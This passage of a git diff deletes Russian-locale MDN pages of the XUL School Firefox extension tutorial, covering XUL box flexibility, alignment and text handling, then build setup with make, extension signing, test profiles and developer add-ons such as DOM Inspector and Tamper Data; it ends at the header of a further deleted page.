-<p>Flexibility is defined as a numeric value. The default value for most elements is 0, which means that the element will not stretch in the direction of its orientation, and its size in that dimension will be determined by its contents and padding. If you want an element to be flexible, you should set its flexibility to 1. This makes the element stretch to occupy as much available space there is in the direction of its orientation. If we add flexibility to the hbox in our first example, we get the following result:</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4201/=hboxflex.png" style="width: 585px; height: 64px;"></p>
-<p>The box flexes to cover the available horizontal space. The buttons maintain their size.</p>
-<p>If we also add flexibility to the "Cat" button, this is what we get:</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4202/=catflex.png" style="width: 585px; height: 64px;"></p>
-<p>Now the flexible button is taking the available inner space, moving the other two buttons all the way to the end of the box.</p>
-<p>What would happen if we also add flexibility to the "Parrot" button?</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4203/=catparrotflex.png" style="width: 585px; height: 64px;"></p>
-<p>Since both buttons have a flexibility of 1, the available space is distributed evenly among the two. Note that this is not always the case. If one of the buttons has a very long label that restricts its minimum size, then it could be the label determining its size, while the other button would flex taking the rest of the room.</p>
-<p>Now, if you want a different size distribution in flexible elements, you can use flexibility values higher than 1.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4204/=morecatflex.png" style="width: 585px; height: 64px;"></p>
-<p>In this case, the "Cat" button has a <em>flex</em> value of 3, while the "Parrot" button still has a <em>flex</em> value of 1. The "Cat" button is now larger in a 3 to 1 proportion. Note that, again, this can depend on the contents of the elements, in this case, the labels and paddings in the buttons. If the label of the "Parrot" button was something much longer, the size ratio would not be kept.</p>
-<p>You can have even more control over the size of flexible elements using the <a href="/en/XUL/Attribute/minwidth" title="en/XUL/Attribute/minwidth">minwidth</a>, <a href="/en/XUL/Attribute/maxwidth" title="en/XUL/Attribute/maxwidth">maxwidth</a>, <a href="/en/XUL/Attribute/minheight" title="en/XUL/Attribute/minHeight">minheight</a> and <a href="/en/XUL/Attribute/maxheight" title="en/XUL/Attribute/maxheight">maxheight</a> attributes, or their CSS counterparts: <a href="/en/CSS/min-width" title="en/CSS/min-width">min-width</a>, <a href="/en/CSS/max-width" title="en/CSS/max-width">max-width</a>, <a href="/en/CSS/min-height" title="en/CSS/min-height">min-height</a> and <a href="/en/CSS/max-height" title="en/CSS/max-height">max-height</a>. The latter are recommended to keep style code in the skin section of the chrome. As their names should make clear, you can control the flexibility boundaries of elements, thus preventing them from growing or shrinking too much.</p>
-<div class="panel" style="border-width: 1px;">
- <div class="panelContent">
- <div class="note">
- All CSS properties involving lengths should be handled with caution. We recommended that you use proportional units (em, %) instead of absolute units (px) whenever possible. Using the former allows the UI to scale proportionately depending on font size settings, which are often changed by users with accessibility limitations. A common exception to this rule is when your CSS is directly related to images, where you'll usually handle measurements in pixels (px).</div>
- </div>
-</div>
-<p>Also, just like in HTML, you can control the dimensions of inflexible elements using the <a href="/en/CSS/width" title="en/CSS/width">width</a> and <a href="/en/CSS/height" title="en/CSS/height">height</a> CSS properties and attributes. These attributes won't have any effect on flexible elements.</p>
-<h3 id="Margins_paddings_and_spacers">Margins, paddings and spacers</h3>
-<p>Margins and paddings are frequently used in both HTML and XUL to define spacing between elements and inside of elements. The <a href="/en/CSS/margin" title="en/CSS/margin">margin</a> determines the space between an element and the elements surrounding it, while the <a href="/en/CSS/padding" title="en/CSS/padding">padding</a> determines the space between the borders of a container element and its child nodes, kind of like an inner margin.</p>
-<p>Sometimes you also need to define flexible spaces between elements. In this case you should use a <a href="/en/XUL/spacer" title="en/XUL/spacer">spacer</a> element with a <em>flex</em> value. A <em>spacer</em> element is completely invisible and doesn't do more than take space. You should only use it when you need flexible space. If you need fix-sized space it's best to use margins and paddings and avoid adding unnecessary nodes to your XUL document.</p>
-<h2 id="Alignment">Alignment</h2>
-<p>XUL, unlike HTML, provides an easy way to align elements both horizontally and vertically. You can either use the <a href="/en/XUL/Attribute/align" title="en/XUL/Attribute/align">align</a> and <a href="/en/XUL/Attribute/pack" title="en/XUL/Attribute/pack">pack</a> attributes, or the <a href="/en/CSS/box-align" title="en/CSS/-moz-box-align">-moz-box-align</a> and <a href="/en/CSS/box-pack" title="en/CSS/-moz-box-pack">-moz-box-pack</a> CSS properties. Packing determines the positioning of the child elements in the direction of the container's orientation. Alignment determines the positioning in the other direction. So, in a flexed <em>hbox</em>, having <em>center</em> alignment and <em>end</em> packing results in this:</p>
-<p><img alt="" class="internal" src="/@api/deki/files/4205/=alignment.png" style="width: 427px; height: 204px;"></p>
-<p>One important thing to notice is that aligment and flexibility can't be mixed in some cases. If you add flexibility to one of the buttons, the packing will no longer be useful, but the alignment still makes a difference. It also wouldn't make sense to use flexibility or packing in the <em>hbox</em> if it didn't have any available horizontal space; the container element needs to either be flexible itself, or have a fixed width larger than its contents.</p>
-<h2 id="Text">Text</h2>
-<p>There are 2 XUL elements that are typically used for displaying text: <a href="/en/XUL/label" title="en/XUL/label">label</a> and <a href="/en/XUL/description" title="en/XUL/description">description</a>. Their behavior is nearly identical, but they are meant to be used in different situations.</p>
-<p>The <em>label</em> element should be used mainly for text in XUL forms, such as the ones you see in the Firefox Options / Preferences window. Here's a typical usage of the <em>label</em> element:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java">&lt;label control=<span class="code-quote">"xulschoolhello-greeting-textbox"</span>
- value=<span class="code-quote">"&amp;</span><span class="code-quote">xulschoolhello</span><span class="code-quote">.typeGreeting.label;"</span> /&gt;
-&lt;textbox id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-greeting-textbox"</span> /&gt;</pre>
- </div>
-</div>
-<p>The label says something like "Type a greeting message", and the textbox next to it allows the user to type the message. The <a href="/en/XUL/Attribute/control" title="en/XUL/Attribute/control">control</a> attribute links the label to the textbox. If the user clicks on the label, the textbox will be focused. Also, if the user has a screen reader, the label will be read when the focus is placed on the textbox.</p>
-<p>The <em>description</em> element is used for the rest of the cases, where the text is only meant as additional information and is not related to input elements.</p>
-<p>Handling text in XUL may seem simple, but it's actually quite a tricky subject. You always have to keep in mind that localized strings may be significantly longer in other languages, specially much longer than English strings. You should avoid using long blocks text, and also avoid designing your UI so that everything fits just right around text. You should always keep in mind that the text can be much longer, and your UI should adapt to it.</p>
-<p>Labels should generally be short, and they should always be displayed in a single line. Descriptions may be longer, and in general you should plan it so that they can wrap into multiple lines. In order to have wrapping descriptions, you need to set the text as a child node instead of using the <em>value</em> attribute:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java">&lt;description&gt;&amp;<span class="code-quote">xulschoolhello</span>.description.label;&lt;/description&gt;</pre>
- </div>
-</div>
-<p>Even then, the text will extend as much as it can in a single line, so you need to add some CSS limits in order to make it wrap inside a XUL dialog or window. You can use the CSS property <em>width</em> to restrict the width of the <em>description</em> so that it wraps as you need it to.</p>
-<div class="panel" style="border-width: 1px;">
- <div class="panelContent">
- <div class="note">
- Never cut text lines into separate locale strings in order to bypass wrapping difficulties. This makes localization much harder, or even impossible in some cases.</div>
- </div>
-</div>
-<p>There are other more complicated text wrapping cases where a <em>description</em> won't be good enough. For instance, <a href="/en/XUL_Tutorial/Templates" title="en/XUL Tutorial/Templates">templates</a> don't allow you to set the internal text in a <em>description</em> element in a way that it wraps properly. One way to work around this is using a <a href="/en/XUL/textbox" title="en/XUL/textbox">textbox</a> element instead. <a class="external" href="http://xulsolutions.blogspot.com/2006/07/how-to-handle-text-and-keep-your.html">This blog post</a> is a good guide on the subject, and you should keep it in mind if you need to do some advanced text handling.</p>
-<p>Another way to handle excessive text length is to use the <a href="/en/XUL/Attribute/crop" title="en/XUL/Attribute/crop">crop</a> attribute. If the line of text is longer than its container will allow, the text will be cut, showing "..." in the place where it was cut. You can choose where to cut the text, but cropping at the end is the most common practice. Similarly as with wrapping, cropping will only occur is there is no room for the text to grow, so you'll need to restrict the width using CSS.</p>
-<h3 id="Text_links">Text links</h3>
-<p>XUL makes it very easy for you to create a <em>label</em> that is also a link. All you need is to set the <a href="/en/XUL/Style/text-link" title="en/XUL/Style/text-link">text-link</a> class to the label, and add an <em>onclick</em> handler (<em>oncommand</em> won't work for this). The label is displayed with the expected link style so that users can easily recognize it as a link.</p>
-<p>A trickier case is when you need only part of a label to be clickable, just like in HTML. Since labels can't handle rich text, workarounds have to implemented using Javascript. One possibility is to use special markup in a locale property so that the link can be easily recognized:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java"><span class="code-quote">xulschoolhello</span>.linkedText.label = Go to &lt;a&gt;our site&lt;/a&gt; <span class="code-keyword">for</span> more information</pre>
- </div>
-</div>
-<p>The syntax is similar to HTML because it's easier to read this way, but string bundles won't do anything special with it. You'll have to break the string using <a href="/en/JavaScript/Reference/Global_Objects/RegExp" title="en/Core JavaScript 1.5 Reference/Global Objects/RegExp">regular expressions</a> and generate 3 different labels, one with the <em>text-link</em> class. You'll also need to do some CSS work on the labels so that the inner spacing in the text looks right.</p>
-<p>Another option is to take it up a notch and really use HTML.</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java"><span class="code-quote">xulschoolhello</span>.linkedText.label = Go to &lt;html:a onclick=<span class="code-quote">"%S"</span>&gt;our site&lt;/html:a&gt; <span class="code-keyword">for</span> more information</pre>
- </div>
-</div>
-<p>To include HTML in a XUL document, you need to add the namespace for it in the document root:</p>
-<div class="code panel" style="border-width: 1px;">
- <div class="codeContent panelContent">
- <pre class="code-java">&lt;overlay id=<span class="code-quote">"</span><span class="code-quote">xulschoolhello</span><span class="code-quote">-browser-overlay"</span>
- xmlns=<span class="code-quote">"http:<span class="code-comment">//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"</span>
- xmlns:html=<span class="code-quote">"http://www.w3.org/1999/xhtml"</span>&gt;</span></pre>
- </div>
-</div>
-<p>Then you can have an <em>html:p</em> (paragraph) element where you insert the result of parsing the property string. You can easily parse XML using the <a href="/en/DOM/DOMParser" title="en/DOMParser">DOMParser</a> object.</p>
-<div class="note">
- Since XUL documents are strict XML, you can only use strict XHTML in XUL, and not the more loosely-formatted forms of HTML.</div>
-<h2 id="Exercise">Exercise</h2>
-<p>Use the DOM Inspector extension to look into the Firefox chrome. Select toolbar buttons, menu items, textboxes, etc. and look into the Box Model, CSS Style Rules and Computed Style views. Look into the computed width and height values, and how the paddings and margins affect the dimensions of XUL nodes.</p>
-<p>Modify the Hello World extension so that it changes the appearance of Firefox drastically using only CSS. Play with changing the dimensions and appearance of buttons, changing the background color of the toolbars and status bars, font styles, sizes, etc. Note that this is not really what you would expect from an extension, it's more like a theme. However, it's very interesting and useful to see how you can manipulate the appearance of Firefox so easily.</p>
-<p>If you're not familiar with CSS, you should read this <a href="/en/CSS/Getting_Started" title="en/CSS/Getting Started">CSS Getting Started Guide</a> and other online resources before continuing with this tutorial.</p>
-<p>{{ PreviousNext("XUL_School/Adding_events_and_commands", "XUL_School/Adding_windows_and_dialogs") }}</p>
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast.</span></p>
diff --git a/files/ru/xul_school/настройка_среды_разработки/index.html b/files/ru/xul_school/настройка_среды_разработки/index.html
deleted file mode 100644
index efe52c1c1b..0000000000
--- a/files/ru/xul_school/настройка_среды_разработки/index.html
+++ /dev/null
@@ -1,237 +0,0 @@
----
-title: Настройка среды разработки
-slug: XUL_School/Настройка_среды_разработки
-translation_of: >-
- Archive/Add-ons/Overlay_Extensions/XUL_School/Setting_Up_a_Development_Environment
----
-<p>{{ PreviousNext("XUL_School/The_Essentials_of_an_Extension", "XUL_School/Adding_menus_and_submenus") }}</p>
-
-<h2 id="Выбираем_правильные_инструменты">Выбираем правильные инструменты</h2>
-
-<p>Есть три основных инструмента, которые на наш взгляд необходимы для эффективной разработки дополнения: редактор исходного кода, сиcтема управления версиями и система сборки.</p>
-
-<p>Что касается редактирования кода, официальной интегрированной среды разработки от компании Mozilla нет. С другой стороны, расширения используют те же (или похожие) языки, используемые для веб-разработки, поэтому для этой задачи подойдут большинство текстовых редакторов или интегрированных сред разработки. Большинство XUL-инструментов и плагинов, которые вы найдете в сети Интернет, являются простыми шаблонами, которые создают структуру папок проекта, и это не очень помогает.</p>
-
-<p>Мы рекомендуем текстовый редактор <a class="external" href="http://www.activestate.com/komodo_edit/" title="http://www.activestate.com/komodo_edit/">Komodo Edit</a>. Он бесплатный, с открытым исходным кодом и кроссплатформенный. Он основан на платформе Mozilla XULRunner, поэтому поддерживает некоторые особенности при разработке расширений Firefox. Komodo Edit поддерживает автодополнение тегов и аттрибутов XUL, расширение <a href="/en-US/docs/Web/CSS/Mozilla_Extensions" title="en/Mozilla CSS Extensions">Mozilla's CSS extensions</a> (CSS значения и свойства, начинающиеся на "-moz"). У редактора есть система дополнений, схожая с той, что используется в браузере Firefox, и есть несколько Komodo расширений, которые предоставляют дополнительную помощь в разработке. Это приложение предоставляет больше возможностей, по сравнении с множеством других редакторов, поэтому мы рекомендуем вам попровать его. Все наши примеры исходных кодов разрабатываются на Komodo Edit, поэтому если в скачанных файлах с примерами вы увидете расширения <em>.kpf</em> или <em>.komodoproject</em> , то знайте, что это файлы проекта Komodo.</p>
-
-<p>Что касается системы управления версиями, мы рекомендует лишь чтобы она у вас была. Самая распространенная система - это GitHub, но подойдет и любая другая.</p>
-
-<p>Для упаковки XPI-файлов мы используем утилиту <a class="external" href="http://www.gnu.org/software/make/">make</a>. Мы выбрали этот способ, потому что он используется компанией Mozilla для сборки Firefox, и доступен для большинства операционных систем. Утилита <em>make</em> - это стандартный инструмент для Unix-совместимых операционных систем. Она может быть установлена на Mac OS X в составе пакета программ XCode Tools и на Windows с пакетом программ <a class="external" href="http://www.cygwin.com/">cygwin</a>. При установке <em>cygwin</em> у вас будет возможность явно выбрать утилиты <em>make</em> и <em>zip</em> из длинного списка для скачивания и установки.</p>
-
-<p>Также убедитесь в том, что утилита <em>make</em> корректно прописалась в системную директорию для запуска. Для этого после ее установки выполните команду "make -ver" в командной строке, и если все сделано правильно - на экран будет выведена версия утилиты <em>make</em>.</p>
-
-<p>Мы рекомендуем установить утилиту <em>make</em> в вашей операционной системе, поскольку все наши примеры предоставляются со всеми необходимыми файлами для сборки и установки получившегося XPI-файла используя этот инструмент. Это сбережет вам время при упаковке. Или вы можете создать свою собственную систему, используя бат-файл, утилиту Ant или любую другую в зависимости от ваших предпочтений. В конечном счете, вы можете просто сжимать содержимое папки <em>src</em> используя любой zip-архиватор или любой другой, и получить аналогичный результат.</p>
-
-<h2 id="Build_system">Build system</h2>
-
-<p>Let's start by downloading the project used to build the second version of Hello World, from the exercise in the last section.</p>
-
-<p><a href="/@api/deki/files/5142/=HelloWorld2.zip" title="https://developer.mozilla.org/@api/deki/files/5142/=HelloWorld2.zip">Hello World 2 Project</a>.</p>
-
-<p>Unzip the file anywhere you want. Inside the <em>HelloWorld2</em> directory, you'll see two directories: <em>bin</em> and <em>src</em>. The <em>bin</em> directory should be empty. This is where all the resulting build files will be created, and where you'll find the extension XPI file once you get it to build.</p>
-
-<p>Open the project file (<em>HelloWorld2.komodoproject</em>) from the <em>src</em> directory in Komodo Edit. In the Projects tab you should be able to see the directory structure inside the <em>src</em> directory. This structure should be familiar, as it is almost identical to the unpacked XPI from the previous section.</p>
-
-<p>The only notable additions is a file named <em>Makefile</em> under <em>src</em>. This is the file that <em>make</em> uses to build the XPI. You should take some time to read it and understand it, or at least identify the parts that you should change to get a project of your own going. This <a class="external" href="http://www.chemie.fu-berlin.de/chemnet/use/info/make/make_toc.html">GNU Make Manual</a> is a very good reference to get to know <em>make</em> and Makefiles.</p>
-
-<p>In most cases you'll only need to change the first lines in <em>Makefile</em>. These define the extension name, the extension id (as specified in <em>install.rdf</em>) and the name of the profile directory where the extension will be installed during development and testing. More about this further ahead.</p>
-
-<p>Let's try and build the XPI from the command line first. Open the command line program in your system and navigate to the <em>src</em> directory in your project. Run the following command:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">make</pre>
-</div>
-</div>
-
-<p>That's it. If everything went well, you should see an output similar to this:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">Creating XPI file.
-  adding: install.rdf (deflated 50%)
-  adding: chrome.manifest (deflated 50%)
-  adding: content/browserOverlay.js (deflated 42%)
-  adding: content/browserOverlay.xul (deflated 69%)
-  adding: skin/browserOverlay.css (stored 0%)
-  adding: locale/en-US/browserOverlay.dtd (deflated 52%)
-  adding: locale/en-US/browserOverlay.properties (stored 0%)
-Creating XPI file. Done!
-
-Build finished successfully.
-</pre>
-</div>
-</div>
-
-<p>If you inspect the <em>bin</em> directory, you should see the <em>xulschoolhello2.xpi</em> file.</p>
-
-<p>If you run <em>make</em> again, you'll only see the last line of the build process. That is because <em>make</em> can tell that the file in the <em>bin</em> directory is up to date, and nothing needs to be done. Making changes on source files will make <em>make</em> run the necessary steps to build the XPI again.</p>
-
-<p>You can clean up the <em>bin</em> directory by just running the following command (again, from the <em>src</em> directory):</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">make clean</pre>
-</div>
-</div>
-
-<p>You can also run these commands from Komodo. Click on Tools &gt; Run Command.... In the "Run" textbox you should type this:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">bash -c <span class="code-quote">"make"</span></pre>
-</div>
-</div>
-
-<p>Or replace "make" with "make clean" for the clean command. The "bash -c" part forces Komodo to use <em>bash</em>, which for some reason can't be set properly as the default command shell. It isn't necessary to add this, but it's better so that it is consistent with the <em>make</em> command we'll see next.</p>
-
-<p>In the "Start in" textbox you should choose <em>%p </em>(directory path of active project). If you don't see this textbox, click on the "More" button. You also have the option to save the command, by clicking on the "Add to Toolbox" checkbox. To see the Toolbox, click on View &gt; Tabs &gt; Toolbox, from the main menu. With that, you should now have a very easy way to build your XPI, by just double clicking on the created commands.</p>
-
-<p>We can make it even better. Once you're testing and debugging your code, you'll find that constantly building and installing an XPI can be very tedious. This is the reason why we introduced "make install". This only works if your extension is already installed in a Firefox profile. Just like in the provided project, you need the add-on id and profile location set in the file <em>Makefile</em>. We use this information to locate the installation path of the extension and overwrite the installed files. If Firefox is open at the time you run "make install", you'll have to restart it in order to see the changes. It's still better than installing the XPI all over again.</p>
-
-<p>In order to set the profile location to the right value, you should read the <a class="external" href="http://support.mozilla.com/en-US/kb/Profiles">support article on profiles</a>, at the Mozilla Support site. We'll also delve deeper in this topic later on in this section.</p>
-
-<p>To make "make install" work on non-Windows systems, you need an extra step. The install process requires using an environment variable called <em>OSTYPE</em>, which is not exported. Long story short, if you want to run it from a command line, you need to run:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">export OSTYPE; make install</pre>
-</div>
-</div>
-
-<p>And in the command in Komodo, you should enter the following:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">bash -c <span class="code-quote">"export OSTYPE; make install"</span></pre>
-</div>
-</div>
-
-<p>The <em>export</em> command won't work correctly unless you use "bash -c".</p>
-
-<div class="note">The file <em>Makefile</em> specifies which profile folder the add-on will be reinstalled to. This is set in the <em>profile_dir</em> variable (set to "xulschool-dev" in this case). When creating a development profile for your add-on, make sure you choose an easy name for the profile folder, and set it in your <em>Makefile</em> in order to take advantage of the install command.</div>
-
-<h3 id="Building_IDL_files">Building IDL files</h3>
-
-<p>Some extensions require developing XPCOM components to add certain advanced functions. There's a section dedicated to XPCOM in this tutorial, but we'll briefly discuss the impact it has on building the extension. You can skip this section and keep it present as a reference in case you do need to use XPCOM in your project.</p>
-
-<p>XPCOM interfaces are defined using IDL files. These are text files that define the attributes and methods in one or more interfaces. These IDL files are compiled into binary form and included in the extension as XPT files.</p>
-
-<p>To compile an IDL file to XPT, you need a command line tool called <em>xpidl</em>. This tool is included in the Mozilla <a href="/en/Gecko_SDK" title="en/Gecko SDK">Gecko SDK</a>. If you need to compile IDLs, go to the SDK page and download a compiled version for your system. Also note any prerequisites you may need. If your system is not listed in the supported builds, you'll have to build the SDK yourself from the Mozilla source. Good luck with that.</p>
-
-<p>You should also set up your environment so that <em>xpidl.exe</em> (or just <em>xpidl</em> on other systems) is in the default executable path, and also add a variable called GECKO_SDK, that points to your SDK build:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">export GECKO_SDK=/path/to/your/sdk</pre>
-</div>
-</div>
-
-<p>Our build system should pick it up from there. To make it work in Komodo in Unix-based systems, we add the command to the <em>.bash_login</em> file in the home directory, and we modify the commands to this:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">bash -c <span class="code-quote">". ~/.bash_login; make"</span></pre>
-</div>
-</div>
-
-<p>An example project with XPCOM components is included in the XPCOM section. There is also a mention about building C++ XPCOM, which is something much more complicated.</p>
-
-<h3 id="Signing_extensions">Signing extensions</h3>
-
-<p>In order to provide additional security for your users, you can choose to <a href="/en/Signing_an_extension" title="en/Signing an extension">add a signature to your extension</a>. The signature verifies that you are the author of this extension, and it can only be done if you have a valid certificate provided by a trusted Certificate Authority.</p>
-
-<p>The only noticeable difference for the user is that the XPI installation dialog will say that the extension was created by you, making the dialog a little easier to trust. It's not common to sign extensions because most users will trust the official add-ons site (<a class="link-https" href="https://addons.mozilla.org" title="https://addons.mozilla.org">AMO</a>) rather than rely on extension signatures. On the other hand, it is standard practice for big companies to sign their extensions.</p>
-
-<p>You'll need to download some libraries in order to be able to sign your extension. Follow the <a href="/en/Signing_an_extension" title="en/Signing an extension"><span class="external">instructions</span></a>, and add something like the following to your Makefile:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java"># The directory where the signature sources are located.
-signature_dir := signature
-
-# The signing key /certificate file.
-signature_extra_files := $(build_dir)/META-INF/manifest.mf \
-                         $(build_dir)/META-INF/zigbert.sf
-# The signing key /certificate file.
-signature_rsa_file = $(build_dir)/META-INF/zigbert.rsa# The signing key /certificate file.
-signature_files := $(signature_extra_files) \
-                  $(signature_rsa_file)
-
-$(signature_files): $(build_dir) $(xpi_built)
-  @signtool -d $(signature_dir) -k $(cert_name) \
-  -p $(cert_password) $(build_dir)</pre>
-</div>
-</div>
-
-<p>Keep in mind that your password should not be in your Makefiles, and you must be very careful with the certificate information. Ideally this should be handled by a single person, and only done near the end of the release process. You should also have a different <em>make</em> command, such as <em>make signed</em> in order to distinguish the signed and unsigned development builds.</p>
-
-<h2 id="Firefox_profile_management">Firefox profile management</h2>
-
-<p>It is good development practice to keep your test environment separate from everything else. You don't want unstable extensions to break your everyday Firefox profile, risking data loss. It's much better to have a different "version" of Firefox for testing. This is what Firefox profiles are for.</p>
-
-<p>You can learn about setting up multiple Firefox profiles in the Mozilla Support article <a class="external" href="http://support.mozilla.com/en-US/kb/Managing+profiles">Managing Profiles</a>. You can have as many profiles as you like. You can also mix them with multiple Firefox installations. For instance, you may want to test your extension in Firefox 3.5 and Firefox 3.6, or test it in a localized version of Firefox. You can install as many Firefox versions as you want, and mix profiles and versions.</p>
-
-<p>On Windows and Linux it's easy to create shortcuts for every profile you create, using the commands mentioned in the support article.</p>
-
-<p>For Mac OS X developers, there is also a way to set up "shortcuts". You can do this by opening the Automator application, choosing Run Shell Script and then entering the profile-loading script in the textbox:</p>
-
-<div class="code panel" style="border-width: 1px;">
-<div class="codeContent panelContent">
-<pre class="code-java">/Applications/Firefox.app/Contents/MacOS/firefox-bin -no-remote -p MyProfile &gt; /dev/<span class="code-keyword">null</span> &amp;</pre>
-</div>
-</div>
-
-<p>You can change "/dev/null" to a file location, in case you want to see <em>dump</em> output from Firefox, or other extensions. The last <em>&amp;</em> prevents Automator from waiting for your Firefox session to finish. Save this as an Application, not a Workflow. And you probably want to have these on your Desktop or Dock, for easy access.</p>
-
-<p>There are also some configuration changes you should make in your testing profiles, so that you get detailed error information in case something fails. The Firefox <a href="/en/Error_Console" title="en/Error Console">Error Console</a> (Tools &gt; Error Console) normally displays JavaScript errors that occur on web pages, but with some tweaking you can get error information from your extension. Read this piece on <a href="/en/Setting_up_extension_development_environment#Development_preferences" title="en/Setting up extension development environment#Development preferences"><span class="external">Development preferences</span></a>.</p>
-
-<h2 id="Developer_extensions">Developer extensions</h2>
-
-<p>There's a wide variety of Firefox extensions that aid web development and add-on development. A good place to look for them is the <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/browse/type:1/cat:4">Mozilla Add-ons site</a>, and there's also a good <a href="/en/Setting_up_extension_development_environment#Development_extensions" title="en/Setting up extension development environment#Development extensions"><span class="external">development extension list</span></a> here. You should also take some time to play around with the Web Developer tools that are included in Firefox. Some of them can be very useful for add-on development and overlap with the add-ons listed. In this section we'll cover a few that we have found to be very useful.</p>
-
-<h3 id="DOM_Inspector">DOM Inspector</h3>
-
-<p>The <a href="/en/DOM_Inspector" title="en/DOM Inspector"><span class="external">DOM Inspector</span></a> used to be part of Firefox as an installer option, but since Firefox 3 it has been separated as another add-on you can add and remove. It's a very useful inspection tool that lets you look into the DOM of HTML and XUL documents, as well as applied CSS rules and associated JavaScript objects. <a href="/en/DOM_Inspector/Introduction_to_DOM_Inspector" title="en/Introduction to DOM Inspector">Introduction to DOM Inspector</a> is a good guide on how to get started using it.</p>
-
-<p>The DOM inspector is particularly useful in finding out how to overlay a window, and how to replace default CSS style rules. You can see the names of the files involved, which gives you a good starting point when looking into the <a class="external" href="http://mxr.mozilla.org/">Mozilla source</a>. You can even change styles, attributes and execute Javascript code in it, although that's not completely reliable.</p>
-
-<h3 id="JavaScript_Debugger">JavaScript Debugger</h3>
-
-<p>The name says it all. The <a href="/en/Venkman" title="en/Venkman">Venkman JavaScript Debugger</a> is a great way to trace execution of your JavaScript code.</p>
-
-<p>To debug extension and browser code, right-click on the Loaded Scripts panel and uncheck Exclude Browser Files. The list of loaded scripts will grow long to include all of the scripts in Firefox. Having our file naming conventions prove very useful in this case. You can set breakpoints, step in and out of methods, and even get profiling information from Javascript execution. You can inspect variables, keep track of watch expressions, and evaluate arbitrary JS at any point in execution.</p>
-
-<p>This extension has seen little maintenance in quite some time, so it is very buggy. It is specially unreliable when debugging code in Javascript XPCOM and XBL files. Nevertheless, it is a valuable tool when trying to figure out why a certain function is misbehaving.</p>
-
-<h3 id="Tamper_Data">Tamper Data</h3>
-
-<p><a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/966" title="https://addons.mozilla.org/en-US/firefox/addon/966">Tamper Data</a> intercepts HTTP requests and their responses. It allows you to cancel them and even replace payload data before it is sent. There are several similar extensions, such as <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/3829">Live HTTP Headers</a>, but Tamper Data is the one that we use the most. We'll cover more on HTTP debugging later on.</p>
-
-<h3 id="Firebug">Firebug</h3>
-
-<p>The <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/1843" title="https://addons.mozilla.org/en-US/firefox/addon/1843">Firebug</a> extension includes pretty much all tools mentioned so far, but it's mostly focused on web development. The <a class="external" href="http://getfirebug.com/wiki/index.php/Chromebug_User_Guide" title="http://getfirebug.com/wiki/index.php/Chromebug_User_Guide">Chromebug</a> extension helps in making Firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons.</p>
-
-<p>On the other hand, Firebug has a very friendly, integrated user interface, and sees much more development that its counterparts. It's definitely worth a try.</p>
-
-<h3 id="Leak_Monitor">Leak Monitor</h3>
-
-<p>Memory leaks have always been a big criticism drawn against Firefox. Mozilla has proven with time that they take memory usage seriously, improving performance on several critical areas and removing all kinds of memory leaks.</p>
-
-<p>However, extensions are also capable of causing memory leaks. If you want your extension to be included in the Mozilla Add-ons site, you better not have any memory leaks. <a href="/en/Using_XPCOM_in_JavaScript_without_leaking" title="en/Using XPCOM in JavaScript without leaking"><span class="external">Using XPCOM in JavaScript</span></a> has some guidelines you should follow to avoid them. One of the most common errors developers make is to register a JS event listener or observer, and never removing it. The simple practice of always including removal code for everything you add makes a big difference.</p>
-
-<p>To make sure your extension doesn't leak, you should use the <a href="/en/Leak_Monitor" title="en/Leak Monitor"><span class="external">Leak Monitor extension</span></a> when testing it. Always test opening and closing windows. Leaks usually surface when doing this.</p>
-
-<h2 id="Exercise">Exercise</h2>
-
-<ul>
- <li>Set up a new Firefox profile for XUL School. Make sure you can open and close your XUL School Firefox without having to close the instance of Firefox you use to browse normally (you <em>use</em> Firefox, don't you?). Make any modifications you want to the XUL School project, and use <em>make</em> and <em>make install</em> to see the extension work with your changes.</li>
- <li>Install DOM Inspector. Use it to locate the menu you created. Inspect the CSS rules Firefox applies to it by default. Look at the final, computed style for the menu items. Browse around the rest of the Firefox DOM, and try to figure out what the nodes correspond to in the Firefox UI.</li>
- <li>Install the Tamper Data extension. Open the Tamper Data window and go to a AJAX-heavy page such as Gmail or Facebook (don't click on the Start Tamper button, it's not necessary for this). Try to identify what is going on with some of the requests being sent.</li>
-</ul>
-
-<p>Now that you know how to quickly monitor your project and test changes, we'll learn how to add new UI elements to Firefox, through overlays and new windows.</p>
-
-<p>{{ PreviousNext("XUL_School/The_Essentials_of_an_Extension", "XUL_School/Adding_menus_and_submenus") }}</p>
-
-<p><span style="font-size: small;">This tutorial was kindly donated to Mozilla by Appcoast._</span></p>
diff --git a/files/ru/xul_tutorial/creating_a_window/index.html b/files/ru/xul_tutorial/creating_a_window/index.html
deleted file mode 100644
index a200f01b87..0000000000
--- a/files/ru/xul_tutorial/creating_a_window/index.html
+++ /dev/null
@@ -1,107 +0,0 @@
----
-title: Создаем Окно
